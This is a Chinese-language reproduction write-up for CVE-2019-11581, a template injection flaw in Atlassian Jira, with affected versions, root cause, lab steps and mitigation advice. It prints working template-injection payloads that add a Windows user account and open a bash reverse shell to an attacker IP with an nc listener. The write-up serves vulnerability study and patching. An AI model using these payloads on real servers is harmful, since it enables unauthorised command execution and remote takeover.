Atlassian JIRA服務器模板注入漏洞復現(CVE-2019-11581)


0x00 漏洞描述

Atlassian Jira是澳大利亞Atlassian公司的一套缺陷跟蹤管理系統。該系統主要用於對工作中各類問題、缺陷進行跟蹤管理。

Atlassian Jira Server和Jira Data Center存在服務端模板注入漏洞,成功利用此漏洞的攻擊者可對運行受影響版本的Jira Server或Jira Data Center的服務器執行任意命令,從而獲取服務器權限,嚴重危害網絡資產。

0x01 CVE編號

CVE-2019-11581

0x02 漏洞危害等級

高危

0x03 漏洞影響范圍

AtlassianJira 4.4.x
AtlassianJira 5.x.x
AtlassianJira 6.x.x
AtlassianJira 7.0.x

AtlassianJira 7.1.x

AtlassianJira 7.2.x
AtlassianJira 7.3.x
AtlassianJira 7.4.x
AtlassianJira 7.5.x
AtlassianJira 7.6.x < 7.6.14
AtlassianJira 7.7.x
AtlassianJira 7.8.x
AtlassianJira 7.9.x
AtlassianJira 7.10.x
AtlassianJira 7.11.x
AtlassianJira 7.12.x
AtlassianJira 7.13.x < 7.13.5
AtlassianJira 8.0.x < 8.0.3
AtlassianJira 8.1.x < 8.1.2
AtlassianJira 8.2.x < 8.2.3

0x04 漏洞簡析

1.利用前提條件:

第一種,未授權代碼執行利用條件:Jira已配置好SMTP服務器,且需開啟“聯系網站管理員表單”功能。(從WEB界面設計上看,實際上如果沒配置SMTP服務器,無法開啟此功能

第二種利用場景前提是拿到Jira管理員的權限,利用條件較難滿足,這里主要分析第一種情況。原因在於atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未對Subject(郵件主題)處進行過濾,用戶傳入的郵件主題被當作template(模板)指令執行。在任何一種情況下,成功利用此漏洞的攻擊者都可在運行受影響版本的Jira Server或Jira Data Center的系統上執行任意命令。

2.以下兩種url漏洞驗證方式:

第一種無需管理員賬戶權限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

第二種需管理員賬戶權限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa 

如果出現以下運行版本號則為存在漏洞。

0x05 漏洞復現

1. 漏洞利用條件

聯系管理員處必須開啟 (需要知道后台管理員賬號密碼)

2.環境准備:

Atlassian JIRAv7.13.0 (以該版本為例,該版本存在漏洞)下載地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe 

安裝過程不再描述(按照提示進行安裝,先在官方注冊一個賬號然后拿到一個試用期序列號並進行安裝),注意,到了郵件配置那一步經盡量選以后(默認就是),然后進入后台配置。

3.確認未登陸狀態下漏洞的存在

訪問如下URL(無需管理員賬戶權限):

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

如果提示如下圖,這說明沒有配置聯系管理員是無法觸發漏洞。

 

請登陸后台開啟聯系管理員,配置地址如下:

http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa

默認是關閉的,需要配置了STMP發信后才能開啟,配置STMP的時候可以測試連接,服務器必須開25端口,不然不能發郵件,下圖是開啟成功

4.未登陸狀態下觸發漏洞

訪問

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

在Subject填入payload,注意,我這里環境是windows機器,所以可以添加賬號觀察,Linux可以用反彈shell的代碼等等,反正換成自己想執行的命令。

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

 

發送了后可能會等一會兒,因為要加入郵件隊列。這時候再上服務器執行net user查看,發現正是剛剛執行命令添加的賬戶。

5. 登陸管理員賬號觸發漏洞

登陸管理員賬號,然后訪問如下URL:

http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

填入payload,如下,注意執行命令添加賬號的賬戶名

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()

 

 

linux下可執行:
目標Jira系統可執行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻擊者IP/2333 0>&1').waitFor()
攻擊者主機執行:nc  -lvvp 2333

0x06 漏洞修復

1.臨時處置建議
若無法及時升級Jira,可采取以下緩解措施:
1.禁止訪問http://ip:port/secure/ContactAdministrators!default.jspa
2.關閉聯系網站管理員表單功能,具體步驟如下:
設置 => 系統 => 編輯設置 => 聯系管理員表單處選擇“關”,然后點擊最下面的“更新”保存設置。
 

編輯設置

 

關閉聯系網站管理員表單功能

2.處置建議

1.升級到不受漏洞影響的版本。

2.對http://ip:port/secure/admin/SendBulkMail!default.jspa限制訪問的源ip

0x07 參考文獻

https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw

https://github.com/jas502n/CVE-2019-11581

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM